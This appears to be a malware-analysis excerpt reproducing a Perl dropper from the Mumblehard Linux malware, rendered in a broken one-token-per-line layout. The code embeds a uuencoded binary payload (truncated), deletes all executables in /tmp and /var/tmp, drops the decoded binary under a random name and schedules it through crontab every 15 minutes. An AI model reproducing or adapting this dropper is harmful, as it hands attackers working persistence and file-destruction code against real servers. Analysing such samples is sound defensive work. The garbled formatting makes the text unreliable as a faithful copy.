sub bdrp my bdrp BDRPDATA T5 0D 1H DE 9H M3 S5I Z-WQT -T YR P1 -7 Q5 T

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
sub
bdrp
{
my
$bdrp
= <<
'BDRPDATA'
;
M?T5,1@$!`0D```````````(``P`!````3(`$""P``````````````#0`(``!
M``````````"`!`@`@`0("1H``!X>```'`````!```(DE"9H$"+@-````,=M3
...
M)S5I=6=\9&(Z-WQT>'-T?#,@/'YR<%-$`@=,1$A#1$P1"U$-7$I$1$!=#Q5+
%%T491S$`
BDRPDATA
$bdrp
=
unpack
(
"u*"
,
$bdrp
);
foreach my
$bdrpp
(
"/var/tmp"
,
"/tmp"
)
{
# Delete all executable files in temporary directory
# (delete existing Mumblehard installation)
for
(
<$bdrpp/*>
)
{
unlink
$_
if
( -
f
$_
&& ( -
x
$_
|| -
X
$_
) );
}
# Create random file name
my
$bdrpn
= [
"a"
..
"z"
,
"A"
..
"Z"
];
$bdrpn
=
join
(
""
,
@
$bdrpn
[
map
{
rand
@
$bdrpn
}
(
1
.. (
6
+
int rand
5
) ) ] );
my
$bdrpb
=
"$bdrpp/$bdrpn"
;
my
$bdrpc
=
$bdrpb
.
int rand
9;
# crontab job to add (runs every 15 minutes)
my
$bdrpt
=
"*/15 * * * * $bdrpb >/dev/null 2>&1\n"
;
if
(
open
( B,
">"
,
$bdrpb
) )
{
# Drop file and install job with crontab
[...]
}
}
}